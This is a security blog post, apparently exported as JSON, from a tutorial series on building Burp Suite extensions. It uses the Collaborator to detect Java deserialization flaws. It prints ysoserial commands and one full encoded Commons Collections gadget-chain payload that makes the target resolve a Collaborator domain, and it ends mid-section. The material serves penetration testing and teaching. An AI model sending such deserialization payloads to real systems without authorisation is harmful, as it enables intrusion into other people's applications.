{"id":3720,"date":"2024-11-19T10:23:37","date_gmt":"2024-11-19T09:23:37","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=3720"},"modified":"2026-05-05T12:22:13","modified_gmt":"2026-05-05T12:22:13","slug":"extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7\/","title":{"rendered":"Extending Burp Suite for fun and profit – The Montoya way – Part 7"},"content":{"rendered":"
    \n
  1. Setting up the environment + Hello World<\/a><\/li>\n
  2. Inspecting and tampering HTTP requests and responses<\/a><\/li>\n
  3. Inspecting and tampering WebSocket messages<\/a><\/li>\n
  4. Creating new tabs for processing HTTP requests and responses<\/a><\/li>\n
  5. Adding new functionalities to the context menu (accessible by right-clicking)<\/a><\/li>\n
  6. Adding new checks to Burp Suite Active and Passive Scanner<\/a><\/li>\n
  7. -> Using the Collaborator in Burp Suite plugins<\/strong><\/li>\n
  8. BChecks – A quick way to extend Burp Suite Active and Passive Scanner<\/a><\/li>\n
  9. Custom scan checks – An improved quick way to extend Burp Suite Active and Passive Scanner<\/a><\/li>\n
  10. Burp AI<\/a><\/li>\n
  11. … and much more!<\/li>\n<\/ol>\n

     <\/p>\n

    Hi there!<\/p>\n

    Last time we saw how to develop an extension that will add custom active and passive checks to the Burp Scanner<\/strong>. Today we will modify that extension to detect serialization issues using different objects that, once deserialized, cause the DNS resolution of arbitrary domains <\/strong>(so, our detection will be based on external interactions rather than on timing). Burp Suite offers a perfect tool for this purpose, called Collaborator<\/strong>, which we will use within our extension.<\/p>\n

    The Collaborator<\/strong> was developed to identify issues that do not reveal their presence in responses, but can be triggered to cause an interaction with an external server (out-of-band application security testing<\/a>). The Collaborator is effectively an authoritative service for a DNS zone that listens on the ports of major application services (HTTP, HTTPS, SMTP, SMTPS). For testing vulnerabilities of the described type, the Collaborator can generate specific URLs, which can be sent within your payloads to the target application. If the application resolves or contacts these URLs, the Collaborator will notify the tester, allowing to detect issues that would otherwise be very difficult to identify. It is a great tool, used by the Active Scanner and usable in our extensions or when we manual assess a target (e.g., from Repeater, Intruder, and Proxy).<\/p>\n

    PortSwigger offers a public Collaborator server to all Burp Professional users, but the Collaborator can also be deployed on a private server (and it may be a good idea to do so, because payloads generated by the public Collaborator are usually employed during penetration tests by tons of testers and may consequently be filtered by targets).<\/p>\n

    As usual, let’s start with the test case. We will use the same one from the previous lesson (see Part 6<\/a>), that is a Java application that I developed some time ago as a test case for developing an extension aimed at identifying Java deserialization issues, named Java Deserialization Scanner<\/a>. The test application, in WAR format, simply deserializes objects received in different ways and with different encodings, and it is easy to add vulnerable libraries to its package. Our target will therefore be a Java application that deserializes the input sent to it<\/strong>, packaged with a vulnerable version of the Apache Commons Collections 3 libraries, which offer one of these serializable objects that allow for the execution of arbitrary Java code once deserialized. The target application can be downloaded from my Github repository<\/a>. To deploy it, a Java application server is necessary. I used Apache Tomcat<\/strong>, which is easy to configure. Specifically, I used Tomcat 9, running with OpenJDK 17 (if you use a too old version of Java, the provided application might not function correctly as it may be compiled with a more recent version of Java). Details on how to configure and run Tomcat are beyond the scope of this article.<\/p>\n

    To generate serialization payloads to exploit most Java vulnerable libraries we can use again the ysoserial<\/a> tool. It’s the main tool for generating exploitation payloads for Java serialization vulnerabilities, created by Chris Frohoff<\/a> (one of the researchers who discovered the issue). However, the tool is designed for exploitation and not for detection, and most of the payloads aim to execute commands on the operating system. To make detection more difficult, the exploitation is “blind,” meaning we cannot see the result of the command inserted into the payload. To address this problem, a few years ago when I wrote the Java Deserialization Scanner plugin I also made a fork of ysoserial<\/a>, modifying the payloads to add some detection mechanisms.\u00a0The fork adds some modules to the tool, including the ability to generate payloads that, instead of executing commands on the operating system, execute native Java synchronous sleep <\/strong>that we used in the last article. Beside that, if also offers the ability to generate payloads that cause a native Java DNS resolution<\/strong> once deserialized, that is perfect for the reliable detection of serialization vulnerabilities using the Collaborator.<\/strong><\/p>\n

    Before starting to modify the extension we developed in Part 6<\/a>, let’ try to manually exploit the serialization issue present in the test case of Part 6 with my ysoserial fork and the Collaborator.<\/p>\n

    First, let’s send the request executed by our application to the Repeater (refer to Part 6<\/a> for details):<\/p>\n

    \"\"<\/p>\n

    As we saw in Part 6, ysoserial has 5 payloads for the Apache Commons Collections 3, named CommonsCollections1, CommonsCollections3, CommonsCollections5, CommonsCollections6, and CommonsCollections7 (CommonsCollections2 and CommonsCollections4 are for the Apache Commons Collections 4). These payloads may work or not work depending on the target environment and Java version. In my environment, CommonsCollections6 works correctly (but you may have to try also the others). We want to generate a payload with a Collaborator URL, so first we need to generate a valid Collaborator URL:<\/p>\n

    \"\"<\/p>\n

    Then we can use the ysoserial fork to generate a payload for the Commons Collections 3 that causes a native Java DNS resolution on the supplied Collaborator URL once deserialized (refer to this GitHub page<\/a> for documentation on the tool):<\/p>\n

    $ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 4bg5589heitroj98ttwqau4unltch25r.oastify.com dns base64,url_encoding\r\nrO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI%2FQAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB%2BAAN4cHZyABRqYXZhLm5ldC5JbmV0QWRkcmVzcy2bV6%2Bf4%2BvbAwADSQAHYWRkcmVzc0kABmZhbWlseUwACGhvc3ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo%2F2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AElsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAJZ2V0QnlOYW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdAAJZ2V0TWV0aG9kdXEAfgAbAAAAAnEAfgAednEAfgAbc3EAfgAUdXEAfgAYAAAAAnVxAH4AGwAAAAFxAH4AHnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5%2Bkde0cCAAB4cAAAAAF0ACw0Ymc1NTg5aGVpdHJvajk4dHR3cWF1NHVubHRjaDI1ci5vYXN0aWZ5LmNvbXQABmludm9rZXVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB%2BABhzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4<\/pre>\n
    The ysoserial fork also supports payload encoding. In this case, we selected “base64,url_encoding” in order to have the payload ready for the Repeater. We will use only base64 to generate payloads for the Scanner because the Scanner itself will handle URL Encoding if necessary, based on the Content Type of the request (but it usually does not handle base64 encoding, as detailed in Part 6<\/a>).<\/p>\n
    Then we can try sending the payload to our vulnerable application and check if we have DNS interactions:<\/p>\n
    \"\"<\/p>\n
    \"\"<\/p>\n
    We received the interaction, so the application should be vulnerable! Now, let’s use these Collaborator checks in a Burp Suite extension that extends the Active Scanner<\/strong>!<\/p>\n
    Let’s start from the plugin we developed in Part 6<\/a> (I suggest to make a copy of it, to keep both examples). We will mainly edit the activeAudit <\/em>method of the CustomScanCheck <\/em>class, <\/em>in order to use payloads based on the Collaborator instead of the time-based payloads we used in Part 6 (I renamed the class of the copy of the project from CustomScanCheck<\/em> to CustomCollaboratorScanCheck)<\/em>.<\/p>\n
    First, we need to generate the new DNS payloads using the ysoserial fork, as we did in Part 6. Now, however, we have to handle a few additional complications. We want Burp Suite to dynamically generate Collaborator domains during a scan, insert them into the payloads, and then monitor the interactions reporting any issues. Since we don’t know which Collaborator domain will be inserted into the payloads beforehand, we can’t simply pre-generate the payloads. There are several ways to handle this: we can either call ysoserial directly from our plugin and have it generate the payloads, integrate ysoserial code into our plugin, or insert a placeholder instead of the Collaborator domain and then replace it with the actual domain during the scan using a “match and replace” approach. To keep the plugin clean, Java Deserialization Scanner<\/a> has implemented this third approach, and we will do the same in our example.<\/p>\n
    Unfortunately, serialized objects are binary, so we can’t simply replace the placeholder with our Collaborator domain using a straightforward match and replace. We need to respect the binary format, which means we’ll have to modify certain fields of the object to replace the length of the placeholder with the length of the domain generated by the Collaborator<\/strong>. This adjustment is necessary because, as mentioned at the beginning of the article, it’s possible to deploy your own Collaborator server for a custom DNS zone, which means the domain length can’t be predetermined.<\/p>\n
    Let’s proceed step by step. We’ll start with generating our payloads using the fork of ysoserial<\/a>, using “XXXXX” as the placeholder for the payload domain (dns payloads require only a domain as argument, refer to the documentation on the GitHub page of my ysoserial fork for more details):<\/p>\n
    $ java -jar ysoserial-fd-0.0.6.jar CommonsCollections1 XXXXX dns base64\r\nrO0ABXNyADJ[...]AAAAAHhwcQB+ADc=\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections3 XXXXX dns base64\r\nrO0ABXNyADJz[...]AAAAeHBxAH4ALg==\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections5 XXXXX dns base64\r\nrO0ABXNyAC5q[...]cIAAAAEAAAAAB4eA==\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 XXXXX dns base64\r\nrO0ABXNyABF[...]BAAAAAAeHh4\r\n\r\n$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections7 XXXXX dns base64\r\nrO0ABXNyABNqYXZhL[...]c3EAfgAqAAAAAng=<\/pre>\n
    We can put these payloads in the\u00a0StaticItems<\/em> class, replacing time payloads:<\/p>\n
    package org.fd.montoyatutorial;\r\n\r\nimport burp.api.montoya.scanner.audit.issues.AuditIssueConfidence;\r\nimport burp.api.montoya.scanner.audit.issues.AuditIssueSeverity;\r\n\r\npublic class StaticItems {\r\n\r\n    public static String[] apacheCommonsCollections3Payloads = new String[] {\"rO0ABXNy[...]cQB+ADc=\",\r\n            \"rO0ABXNyA[...]eHBxAH4ALg==\",\r\n            \"rO0ABXNyAC5q[...]EAAAAAB4eA==\",\r\n            \"rO0ABXN[...]AABAAAAAAeHh4\",\r\n            \"rO0ABXNy[...]AAng=\"};\r\n\r\n    [...]\r\n\r\n}\r\n<\/pre>\n
    And now we can start to update our\u00a0activeAudit<\/em> method. This is the skeleton of our method, with TODO in the parts that we have to fill with our new logic based on the Collaborator (the other portions of the method are copied and pasted from the example we wrote in Part 6):<\/p>\n
    @Override\r\npublic AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {\r\n\r\n    \/\/ Inizialize an empty list of audit issues that we will eventually populate and return at the end of the function\r\n    List<AuditIssue> activeAuditIssues = new ArrayList<AuditIssue>();\r\n\r\n    \/\/ For each CommonsCollections 3 payload we defined, we try to exploit the issue\r\n    for(int i = 0; i< StaticItems.apacheCommonsCollections3Payloads.length; i++) {\r\n\r\n        \/\/ TODO We generate a Collaborator URL\r\n\r\n        \/\/ TODO We update our serialized object inserting the generated Collaborator URL\r\n        ByteArray payloadWithCollaboratorUrl = null;\r\n\r\n        \/\/ We create an HTTP request containing our payload in the current insertion point\r\n        HttpRequest commonsCollectionsCheckRequest = auditInsertionPoint.buildHttpRequestWithPayload(\r\n                payloadWithCollaboratorUrl).withService(baseRequestResponse.httpService());\r\n\r\n        \/\/ We send the request containing the payload\r\n        HttpRequestResponse commonsCollectionsCheckRequestResponse = api.http().sendRequest(commonsCollectionsCheckRequest);\r\n\r\n        \/\/ TODO We retrieve the interactions received by the Collaborator related to our specific Collaborator URL\r\n        List<Interaction> interactionList = null;\r\n\r\n        if(interactionList.size() > 0) {\r\n\r\n            \/\/ If we have interactions, we create an issue object and adds it to the list of issues to be returned\r\n            AuditIssue auditIssue = AuditIssue.auditIssue(StaticItems.apacheCommonsCollections3IssueName,\r\n                    StaticItems.apacheCommonsCollections3IssueDetail,\r\n                    null, \/\/ remediation\r\n                    baseRequestResponse.request().url(),\r\n                    StaticItems.apacheCommonsCollections3IssueSeverity,\r\n                    StaticItems.apacheCommonsCollections3IssueConfidence,\r\n                    null, \/\/ background\r\n                    null, \/\/ remediationBackground\r\n                    StaticItems.apacheCommonsCollections3IssueTypicalSeverity,\r\n                    commonsCollectionsCheckRequestResponse); \/\/Request\/response can be highlighted\r\n\r\n            activeAuditIssues.add(auditIssue);\r\n\r\n        }\r\n\r\n    }\r\n\r\n    \/\/ Return the list of issues\r\n    return AuditResult.auditResult(activeAuditIssues);\r\n\r\n}<\/pre>\n
    Collaborator APIs are offered by the usual\u00a0MontoyaApi<\/a>\u00a0<\/em>object, supplied to every extension in the\u00a0initialize\u00a0<\/em>method, through the collaborator<\/em> function, that returns an object of type Collaborator<\/em><\/a>:<\/p>\n
    \"\"<\/p>\n
    The Collaborator object offers three methods:<\/p>\n